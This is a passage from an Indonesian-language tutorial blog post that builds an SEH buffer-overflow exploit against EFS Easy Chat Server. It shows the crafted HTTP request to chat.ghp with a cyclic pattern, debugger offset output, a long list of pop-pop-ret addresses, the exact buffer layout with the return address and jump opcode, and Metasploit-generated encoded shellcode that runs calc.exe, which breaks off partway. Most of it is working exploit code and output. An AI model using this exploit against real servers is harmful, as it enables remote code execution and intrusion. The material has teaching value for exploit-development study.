Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9</pre>
<p style="text-align: justify;">Gunakan tools pattern_create.rb dari metasploit untuk meng-generate deretan karakter unik sebanyak 750 bytes, setelah itu gunakan deretan karakter tersebut untuk mengganti deretan karakter &#8216;A&#8217; yang sebelumnya dikirimkan ke server,</p>
<pre class="brush: bash; wrap-lines: false">$ telnet 172.16.30.129 80
Trying 172.16.30.129...
Connected to 172.16.30.129.
Escape character is '^]'.
GET /chat.ghp?username=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9amp;password=1234567&amp;room=1&amp;sex=2 HTTP/1.1
Host:172.16.30.129</pre>
<p>Berikut ini hasilnya dari debugger,</p>
<p><a href="http://img692.imageshack.us/img692/6650/screenshot20100131at205.png" target="_blank"><img src="http://img692.imageshack.us/img692/6650/screenshot20100131at205.png" border="0" alt="" /></a></p>
<p style="text-align: justify;">Ketika aplikasi crash, kita gunakan plugin &#8220;!pvefindaddr findmsp&#8221; untuk mencari lokasi deretan karakter metasploit yang dikirimkan diatas keetika meng-overwrite isi stack,</p>
<p><a href="http://img85.imageshack.us/img85/7062/screenshot20100131at207.png" target="_blank"><img src="http://img85.imageshack.us/img85/7062/screenshot20100131at207.png" border="0" alt="" /></a></p>
<p>Berikut ini bagian yang memperlihatkan hasil plugin tersebut lebih jelas,</p>
<pre class="brush: plain;gutter: false">0BADF00D   -------------------------------------------------------------------------
0BADF00D   Searching for metasploit pattern references
0BADF00D   -------------------------------------------------------------------------
0BADF00D   [1] Checking register addresses and contents
0BADF00D   ============================================
0BADF00D   Register EDI is overwritten with Metasploit pattern at position 252
0BADF00D   Register ECX is overwritten with Metasploit pattern at position 256
0BADF00D   [2] Checking seh chain
0BADF00D   ======================
0BADF00D    - Checking seh chain entry at 0x010b6ddc, value 68413368
0BADF00D      =&gt; record is overwritten with Metasploit pattern at position 220
0BADF00D   -------------------------------------------------------------------------</pre>
<p>Hasil diatas memberikan kita jawaban atas pertanyaan sebelumnya,</p>
<blockquote><p>1. Register EDI akan di-overwrite setelah 252 karakter. Untuk itu minimal kita harus mengirimkan 252 karakter agar aplikasi crash dan flow program dibawa menuju SEH.<br />
2. SEH record di &#8211; overwrite setelah 220 karakter.</p></blockquote>
<p style="text-align: justify;">Penggunaan istilah &#8220;at position&#8221; pada plugin peter diatas sebenarnya agak rancu, namun saya asumsikan dia mengambil titik acuan 0, sehingga ketika hasilnya menunjukan &#8220;at position 220&#8243; itu berarti di-overwrite oleh karakter ke 221 (setelah 220 karakter).</p>
<h3>A little bit of theory</h3>
<p style="text-align: justify;">Istilah &#8220;karakter kesekian&#8221; sering disebut sebagai &#8220;offset&#8221;, untuk itu kita akan menggunakan istilah ini mulai dari sekarang. SEH record di-overwrite oleh offset 221, itu berarti Next SEH di-overwrite pada offset 217. Berikut ini susunan Next SEH dan SEH:</p>
<blockquote><p>[ Next SEH ] &#8211; [ SEH ]</p></blockquote>
<p style="text-align: justify;">Next SEH dan SEH bernilai 4 byte, sehingga jika kita mengetahui bahwa SEH berada pada offset 221, maka dengan kalkulasi matematika kita tahu bahwa Next SEH dapat di-overwrite oleh offset 217, yang berarti jika kita mengirimkan karakter sebanyak 216, maka 8 karakter berikutnya akan meng-overwrite Next SEH dan SEH.</p>
<blockquote><p>[Junk * 216] &#8211; [Next SEH] &#8211; [SEH]</p></blockquote>
<p style="text-align: justify;">Jika kalian ada yang penasaran dan ingin mencoba dengan hanya mengirimkan 224 karakter untuk melihat hasilnya pada debugger maka akan mendapatkan pelajaran yang sangat penting, yaitu server tidak akan crash. Kenapa? karena offset yang akan meng-overwrite EDX dan membuat aplikasi crash akibat dari &#8220;access violation&#8221; berada pada offset 253 (lihat kembali hasil pvefinddr diatas). Itu sebabnya jika kita mengirimkan karakter kurang dari 253 maka tidak akan membuat aplikasi crash, dan aplikasi tidak akan dibawa menuju SEH. Oleh sebab itu kita akan membuat aplikasi crash dengan bentuk berikut ini:</p>
<blockquote><p>[Junk * 216] &#8211; [Next SEH] &#8211; [SEH] &#8211; [Payload/Shellcode]</p></blockquote>
<p>Kita akan meletakan shellcode setelah SEH. Sehingga alur program akan menjadi berikut ini:</p>
<blockquote><p>1. Server crash akibat EDX di &#8211; overwrite oleh 4 byte karakter yang terdapat pada shellcode (offset 253).<br />
2. Akibat server crash, maka alur program akan dibawa menuju SEH record oleh sistem operasi windows.<br />
3. SEH record akan kita ganti dengan suatu alamat di memory yang berisi opcode &#8220;pop, pop, ret&#8221;.<br />
4. Alur program (EIP) akan mengeksekusi SEH, namun akibat dari opcode &#8220;pop, pop, ret&#8221; pada SEH maka EIP akan dibawa menuju Next SEH.<br />
5. Next SEH akan berisi opcode yang menunjuk pada lokasi shellcode, dalam hal ini &#8220;jump 6 byte&#8221; ke depan.<br />
6. EIP akan mengeksekusi shellcode</p></blockquote>
<p style="text-align: justify;">Langkah terakhir kita akan mencari lokasi opcode &#8220;pop, pop, ret&#8221; di memory dari library yang tidak dilindungi oleh /SafeSEH, dan mengisi opcode &#8220;jump 6 byte kedepan&#8221; pada Next SEH. Untuk lokasi &#8220;pop, pop, ret&#8221; kita bisa menggunakan kembali plugin &#8220;pvefindaddr&#8221;,</p>
<pre class="brush: plain; gutter: false">0BADF00D   [nosafeseh] Getting safeseh status for loaded modules :
0BADF00D   Safeseh unprotected modules :
0BADF00D    * 0x10000000 - 0x10027000 : SSLEAY32.dll
0BADF00D    * 0x00490000 - 0x00561000 : LIBEAY32.dll
0BADF00D    * 0x76fc0000 - 0x76fc6000 : rasadhlp.dll
0BADF00D    * 0x71ad0000 - 0x71ad9000 : WSOCK32.dll
0BADF00D    * 0x00400000 - 0x00489000 : EasyChat.exe
0BADF00D    * 0x77b20000 - 0x77b32000 : MSASN1.dll
0BADF00D    * 0x76fb0000 - 0x76fb8000 : winrnr.dll
0BADF00D
0BADF00D
0BADF00D   --------------------------------------------------------------
0BADF00D   Search for pop pop ret combinations started - please wait...
0BADF00D   --------------------------------------------------------------
0BADF00D   Safeseh unprotected modules :
0BADF00D    * 0x10000000 - 0x10027000 : SSLEAY32.dll
0BADF00D    * 0x00490000 - 0x00561000 : LIBEAY32.dll
0BADF00D    * 0x76fc0000 - 0x76fc6000 : rasadhlp.dll
0BADF00D    * 0x71ad0000 - 0x71ad9000 : WSOCK32.dll
0BADF00D    * 0x00400000 - 0x00489000 : EasyChat.exe
0BADF00D    * 0x77b20000 - 0x77b32000 : MSASN1.dll
0BADF00D    * 0x76fb0000 - 0x76fb8000 : winrnr.dll
0BADF00D   --------------------------------------------------------------
10003D8D   Found pop esi
 pop ebx
 ret at 0x10003d8d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10003DDA   Found pop esi
 pop ebx
 ret at 0x10003dda [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10003E16   Found pop esi
 pop ebx
 ret at 0x10003e16 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10003E48   Found pop esi
 pop ebx
 ret at 0x10003e48 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10003F04   Found pop esi
 pop ebx
 ret at 0x10003f04 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A0DA   Found pop esi
 pop ebx
 ret at 0x1000a0da [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A0E9   Found pop esi
 pop ebx
 ret at 0x1000a0e9 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A102   Found pop esi
 pop ebx
 ret at 0x1000a102 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A111   Found pop esi
 pop ebx
 ret at 0x1000a111 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A11C   Found pop esi
 pop ebx
 ret at 0x1000a11c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A14D   Found pop esi
 pop ebx
 ret at 0x1000a14d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A1B0   Found pop esi
 pop ebx
 ret at 0x1000a1b0 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A23A   Found pop esi
 pop ebx
 ret at 0x1000a23a [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A264   Found pop esi
 pop ebx
 ret at 0x1000a264 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A285   Found pop esi
 pop ebx
 ret at 0x1000a285 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A451   Found pop esi
 pop ebx
 ret at 0x1000a451 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A9AE   Found pop esi
 pop ebx
 ret at 0x1000a9ae [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000AA8E   Found pop esi
 pop ebx
 ret at 0x1000aa8e [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000B594   Found pop esi
 pop ebx
 ret at 0x1000b594 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000CF0C   Found pop esi
 pop ebx
 ret at 0x1000cf0c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000D1DD   Found pop esi
 pop ebx
 ret at 0x1000d1dd [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000D1E5   Found pop esi
 pop ebx
 ret at 0x1000d1e5 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000EE69   Found pop esi
 pop ebx
 ret at 0x1000ee69 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000EE6F   Found pop esi
 pop ebx
 ret at 0x1000ee6f [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010BFE   Found pop esi
 pop ebx
 ret at 0x10010bfe [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010C0C   Found pop esi
 pop ebx
 ret at 0x10010c0c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012624   Found pop esi
 pop ebx
 ret at 0x10012624 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012632   Found pop esi
 pop ebx
 ret at 0x10012632 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001320B   Found pop esi
 pop ebx
 ret at 0x1001320b [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100133CF   Found pop esi
 pop ebx
 ret at 0x100133cf [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013470   Found pop esi
 pop ebx
 ret at 0x10013470 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013800   Found pop esi
 pop ebx
 ret at 0x10013800 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013814   Found pop esi
 pop ebx
 ret at 0x10013814 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100151B9   Found pop esi
 pop ebx
 ret at 0x100151b9 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100151D0   Found pop esi
 pop ebx
 ret at 0x100151d0 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100153BD   Found pop esi
 pop ebx
 ret at 0x100153bd [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018177   Found pop esi
 pop ebx
 ret at 0x10018177 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100181A0   Found pop esi
 pop ebx
 ret at 0x100181a0 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018C17   Found pop esi
 pop ebx
 ret at 0x10018c17 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018C40   Found pop esi
 pop ebx
 ret at 0x10018c40 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100045E8   Found pop esi
 pop ecx
 ret at 0x100045e8 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10004615   Found pop esi
 pop ecx
 ret at 0x10004615 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10017F21   Found pop esi
 pop ecx
 ret at 0x10017f21 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10017F64   Found pop esi
 pop ecx
 ret at 0x10017f64 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10017FDA   Found pop esi
 pop ecx
 ret at 0x10017fda [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018029   Found pop esi
 pop ecx
 ret at 0x10018029 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018066   Found pop esi
 pop ecx
 ret at 0x10018066 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100189B4   Found pop esi
 pop ecx
 ret at 0x100189b4 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100189FA   Found pop esi
 pop ecx
 ret at 0x100189fa [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018A6D   Found pop esi
 pop ecx
 ret at 0x10018a6d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018ABF   Found pop esi
 pop ecx
 ret at 0x10018abf [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018AFF   Found pop esi
 pop ecx
 ret at 0x10018aff [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10004228   Found pop esi
 pop edi
 ret at 0x10004228 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100180E7   Found pop esi
 pop edi
 ret at 0x100180e7 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018103   Found pop esi
 pop edi
 ret at 0x10018103 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018777   Found pop esi
 pop edi
 ret at 0x10018777 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018793   Found pop esi
 pop edi
 ret at 0x10018793 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018B8A   Found pop esi
 pop edi
 ret at 0x10018b8a [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018BA6   Found pop esi
 pop edi
 ret at 0x10018ba6 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100190F7   Found pop esi
 pop edi
 ret at 0x100190f7 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10019113   Found pop esi
 pop edi
 ret at 0x10019113 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100052BB   Found pop esi
 pop ebp
 ret at 0x100052bb [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000BFBE   Found pop esi
 pop ebp
 ret at 0x1000bfbe [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100125BD   Found pop esi
 pop ebp
 ret at 0x100125bd [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10009E7A   Found pop edi
 pop esi
 ret at 0x10009e7a [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000A304   Found pop edi
 pop esi
 ret at 0x1000a304 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000AB4B   Found pop edi
 pop esi
 ret at 0x1000ab4b [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000CFCD   Found pop edi
 pop esi
 ret at 0x1000cfcd [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1000D9E8   Found pop edi
 pop esi
 ret at 0x1000d9e8 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100103C0   Found pop edi
 pop esi
 ret at 0x100103c0 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100104BC   Found pop edi
 pop esi
 ret at 0x100104bc [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100107B3   Found pop edi
 pop esi
 ret at 0x100107b3 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010813   Found pop edi
 pop esi
 ret at 0x10010813 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010B9A   Found pop edi
 pop esi
 ret at 0x10010b9a [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010CE5   Found pop edi
 pop esi
 ret at 0x10010ce5 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10010FE7   Found pop edi
 pop esi
 ret at 0x10010fe7 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10011027   Found pop edi
 pop esi
 ret at 0x10011027 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001120F   Found pop edi
 pop esi
 ret at 0x1001120f [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10011232   Found pop edi
 pop esi
 ret at 0x10011232 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100113D8   Found pop edi
 pop esi
 ret at 0x100113d8 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10011484   Found pop edi
 pop esi
 ret at 0x10011484 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001242D   Found pop edi
 pop esi
 ret at 0x1001242d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001243D   Found pop edi
 pop esi
 ret at 0x1001243d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001244D   Found pop edi
 pop esi
 ret at 0x1001244d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012462   Found pop edi
 pop esi
 ret at 0x10012462 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100126F7   Found pop edi
 pop esi
 ret at 0x100126f7 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012728   Found pop edi
 pop esi
 ret at 0x10012728 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012763   Found pop edi
 pop esi
 ret at 0x10012763 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012783   Found pop edi
 pop esi
 ret at 0x10012783 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012825   Found pop edi
 pop esi
 ret at 0x10012825 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100128C1   Found pop edi
 pop esi
 ret at 0x100128c1 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012D41   Found pop edi
 pop esi
 ret at 0x10012d41 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012D98   Found pop edi
 pop esi
 ret at 0x10012d98 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10012DBC   Found pop edi
 pop esi
 ret at 0x10012dbc [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001391C   Found pop edi
 pop esi
 ret at 0x1001391c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013934   Found pop edi
 pop esi
 ret at 0x10013934 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013956   Found pop edi
 pop esi
 ret at 0x10013956 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001399C   Found pop edi
 pop esi
 ret at 0x1001399c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100139B4   Found pop edi
 pop esi
 ret at 0x100139b4 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100139D6   Found pop edi
 pop esi
 ret at 0x100139d6 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10013F4E   Found pop edi
 pop esi
 ret at 0x10013f4e [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100155D4   Found pop edi
 pop esi
 ret at 0x100155d4 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001580D   Found pop edi
 pop esi
 ret at 0x1001580d [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100168B8   Found pop edi
 pop esi
 ret at 0x100168b8 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10017EC6   Found pop edi
 pop esi
 ret at 0x10017ec6 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10017ED5   Found pop edi
 pop esi
 ret at 0x10017ed5 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001859C   Found pop edi
 pop esi
 ret at 0x1001859c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100185AB   Found pop edi
 pop esi
 ret at 0x100185ab [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100187EC   Found pop edi
 pop esi
 ret at 0x100187ec [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
100187FB   Found pop edi
 pop esi
 ret at 0x100187fb [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018F1C   Found pop edi
 pop esi
 ret at 0x10018f1c [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
10018F2B   Found pop edi
 pop esi
 ret at 0x10018f2b [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001A329   Found pop edi
 pop esi
 ret at 0x1001a329 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001B295   Found pop edi
 pop esi
 ret at 0x1001b295 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001B2B6   Found pop edi
 pop esi
 ret at 0x1001b2b6 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
1001B2E1   Found pop edi
 pop esi
 ret at 0x1001b2e1 [ssleay32.dll] Access: (PAGE_EXECUTE_READ)
0BADF00D   Search complete
0BADF00D   Output written to ppr.txt
0BADF00D   Found 116 address(es) in non-safeseh protected modules, out of 11418 addresses</pre>
<p style="text-align: justify;">Untuk membuat exploit lebih reliable maka kita akan mencari lokasi &#8220;pop, pop, ret&#8221; dari modul / library bawaan aplikasi EFS Easy Chat Server. Dengan command &#8220;!pvefindaddr nosafeseh&#8221; kita akan mendapatkan hasil modul-modul yang tidak di-compile dengan /SafeSEH, dan bisa kita lihat bahwa 2 library merupakan bawaan dari Easy Chat Server, yaitu: ssleay32.dll dan libeay32.dll. Sehingga pencarian &#8220;pop, pop, ret&#8221; bisa kita fokuskan pada library tersebut, ambil contoh utk library ssleay32.dll diatas dengan menggunakan command &#8220;!pvefindaddr p esi SSLEAY32.dll&#8221;.</p>
<p style="text-align: justify;">Dari list lokasi memory diatas, akan kita pilih satu, yaitu <strong>0&#215;1001b2b6</strong>. Jika kita akan kirimkan melalui request maka jangan lupa untuk mengubahnya dalam format <em>little endian</em>, menjadi &#8220;\xb6\xb2\x01\x10&#8243;. Selanjutnya adalah opcode untuk &#8220;jump forward 6 byte&#8221;. Opcode untuk jump adalah EB, dan opcode untuk 6 byte adalah 06, sehingga opcode yang akan membuat EIP lompat 6 byte kedepan untuk mengeksekusi shellcode adalah  <strong>EB 06</strong>.</p>
<pre class="brush: plain; gutter: false;">
[ "A" * 216 (216 bytes) ] + [ \xeb\x06\x90\x90 (4 bytes) ] + [ \xb6\xb2\x01\x10 (4 bytes) ] + [ shellcode ]
 </pre>
<p style="text-align: justify;">Jika ada yang bertanya &#8220;kenapa jump 6 byte kedepan?&#8221;, silahkan perhatikan lagi isi buffer diatas. Ketika EIP dibawa menuju Next SEH setelah mengeksekusi &#8220;pop, pop, ret&#8221; pada SEH, maka EIP harus melompati SEH (4 bytes) dan Low Address dari Next SEH (2 bytes). Opcode EB06 hanya mengambil 2 bytes dari alokasi Next SEH, sehingga sisa 2 bytes nya bisa kita isi dengan NOP (0&#215;90), dan bytes NOP tersebut harus kita lompati juga. Sehingga total bytes yang harus dilompati adalah 4+2 = 6 (what&#8217;s this, elementary school math?).</p>
<h3>Payload</h3>
<p style="text-align: justify;">Junk sudah, Next SEH sudah, SEH sudah, yang terakhir adalah shellcode. Untuk generate shellcode kita bisa menggunakan bantuan metasploit lagi dengan memanfaatkan tools <em>msfencode</em>.</p>
<pre class="brush: bash; gutter:false;">$ ./msfpayload windows/exec CMD="c:\windows\system32\calc.exe" R | ./msfencode -e x86/alpha_upper -b "\x00" -t c
[*] x86/alpha_upper succeeded with size 511 (iteration=1)

unsigned char buf[] =
"\x89\xe0\xd9\xc8\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4d\x59\x4d\x35\x46\x51\x49\x42\x43"
"\x54\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x45\x44\x4c\x4b\x44\x32\x51\x38\x44\x4f\x4e\x57\x51"
"\x5a\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x45\x52\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x49\x57\x4d\x32\x4c\x30\x50\x52\x50\x57\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4b\x35\x4f\x30\x44\x34\x50\x4a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x46\x38\x51"
"\x30\x43\x31\x48\x53\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x50\x34"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4b\x50"
"\x44\x35\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"
"\x54\x44\x35\x4d\x32\x51\x48\x4c\x4b\x50\x58\x47\x54\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x43\x51\x50"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x42\x4a\x43\x31\x4c"
"\x4d\x4c\x45\x48\x39\x45\x50\x43\x30\x43\x30\x46\x30\x45\x38"
"\x46\x51\x4c\x4b\x42\x4f\x4c\x47\x4b\x4f\x48\x55\x4f\x4b\x4a"
"\x50\x4f\x45\x4e\x42\x50\x56\x42\x48\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x49\x45\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4b\x50\x44\x35\x44\x45\x4f\x4b\x51\x57\x44\x53"
"\x43\x42\x42\x4f\x42\x4a\x43\x30\x50\x53\x4b\x4f\x49\x45\x42"
"\x43\x47\x4a\x51\x4c\x43\x47\x42\x49\x42\x4e\x42\x44\x42\x4f"
